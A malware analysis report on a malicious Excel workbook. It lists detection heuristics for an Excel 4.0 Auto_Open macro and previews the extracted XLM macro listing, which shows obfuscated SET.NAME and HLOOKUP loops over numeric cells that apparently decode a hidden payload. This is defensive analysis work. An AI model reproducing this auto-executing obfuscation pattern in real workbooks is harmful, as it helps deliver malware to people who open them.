Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 104255bbf770c941…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:17 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 25dd382ee6cc4750d2b64bad7462b3c6 SHA-1: 309191c3dd43fa9c1038d8946b60692619b18c2f SHA-256: 104255bbf770c94190edddc49021b5011271126432bbe0f597a61a55755c444e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6800 bytes
SHA-256: 22741341f3913ee77e0daabb6665deeb2b953eeb1ca64a054ba2c49608c98617
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FtYqjhJ
' 0018     22 LABEL : Cell Value, String Constant - ArUnZyy len=0 
' 0018     22 LABEL : Cell Value, String Constant - atKGuIV len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H161 
' 0018     23 LABEL : Cell Value, String Constant - CIMqIHAJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - coLaipqRFZEB len=0 
' 0018     23 LABEL : Cell Value, String Constant - dJkoQZBR len=0 
' 0018     26 LABEL : Cell Value, String Constant - eEgsSCHuaBf len=0 
' 0018     25 LABEL : Cell Value, String Constant - KZexRiEGbK len=0 
' 0018     21 LABEL : Cell Value, String Constant - mDblEA len=0 
' 0018     24 LABEL : Cell Value, String Constant - olVdFacms len=0 
' 0018     27 LABEL : Cell Value, String Constant - PjVpWgXVgYEg len=0 
' 0018     22 LABEL : Cell Value, String Constant - PPEoUgR len=0 
' 0018     27 LABEL : Cell Value, String Constant - qFtPPyIbotVD len=0 
' 0018     27 LABEL : Cell Value, String Constant - QGukzlYqJGtS len=0 
' 0018     20 LABEL : Cell Value, String Constant - TMIRO len=0 
' 0018     24 LABEL : Cell Value, String Constant - vOnnsfTnt len=0 
' 0018     26 LABEL : Cell Value, String Constant - WvWvKOyOsHm len=0 
' 0018     24 LABEL : Cell Value, String Constant - yCTmEDVId len=0 
' 0018     22 LABEL : Cell Value, String Constant - yTKNmJx len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZIxqEkb len=0 
' 0018     26 LABEL : Cell Value, String Constant - znaQhhdpbus len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FtYqjhJ,H75,"SET.NAME("QGukzlYqJGtS",0+VALUE("0"))",""
'  FtYqjhJ,H77,"SET.NAME("vOnnsfTnt",QGukzlYqJGtS)",""
'  FtYqjhJ,H81,"SET.NAME("WvWvKOyOsHm",QGukzlYqJGtS)",""
'  FtYqjhJ,H83,"SET.NAME("CIMqIHAJ",COUNTA(olVdFacms))",""
'  FtYqjhJ,H86,"SET.NAME("znaQhhdpbus",COUNTA(yTKNmJx))",""
'  FtYqjhJ,P86,"",728.00000000000000000000
'  FtYqjhJ,P87,"",-126.00000000000000000000
'  FtYqjhJ,P88,"",-734.00000000000000000000
'  FtYqjhJ,P89,"",-122.00000000000000000000
'  FtYqjhJ,P90,"",-259.00000000000000000000
'  FtYqjhJ,H91,[],""
'  FtYqjhJ,P91,"",-501.00000000000000000000
'  FtYqjhJ,H94,"SET.NAME("ZIxqEkb","")",""
'  FtYqjhJ,H97,"vOnnsfTnt",""
'  FtYqjhJ,H99,"SET.NAME("dJkoQZBR",HLOOKUP("*",olVdFacms,vOnnsfTnt,FALSE))",""
'  FtYqjhJ,H101,"KZexRiEGbK",""
'  FtYqjhJ,H106,"SET.NAME("atKGuIV",QGukzlYqJGtS)",""
'  FtYqjhJ,H110,[],""
'  FtYqjhJ,H112,"atKGuIV",""
'  FtYqjhJ,H115,"eEgsSCHuaBf",""
'  FtYqjhJ,H118,"coLaipqRFZEB",""
'  FtYqjhJ,H120,"PjVpWgXVgYEg",""
'  FtYqjhJ,H123,"SET.NAME("qFtPPyIbotVD",VALUE(HLOOKUP("*",yTKNmJx,PjVpWgXVgYEg,FALSE)))",""
'  FtYqjhJ,H126,"mDblEA",""
'  FtYqjhJ,H131,"ZIxqEkb",""
'  FtYqjhJ,H134,"WvWvKOyOsHm",""
'  FtYqjhJ,H138,NEXT(),""
'  FtYqjhJ,H142,"yCTmEDVId",""
'  FtYqjhJ,H147,[],""
'  FtYqjhJ,H151,"PPEoUgR",""
'  FtYqjhJ,H154,NEXT(),""
'  FtYqjhJ,H157,RETURN(),""
'  FtYqjhJ,H181,"SET.NAME("ArUnZyy",H75)",""
'  FtYqjhJ,H186,"olVdFacms",""
'  FtYqjhJ,H188,"SET.NAME("yTKNmJx",R59C13)",""
'  FtYqjhJ,H193,"SET.NAME("PPEoUgR",198)",""
'  FtYqjhJ,H195,"SET.NAME("TMIRO",8)",""
'  FtYqjhJ,H197,ArUnZyy(),""
'  FtYqjhJ,H198,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.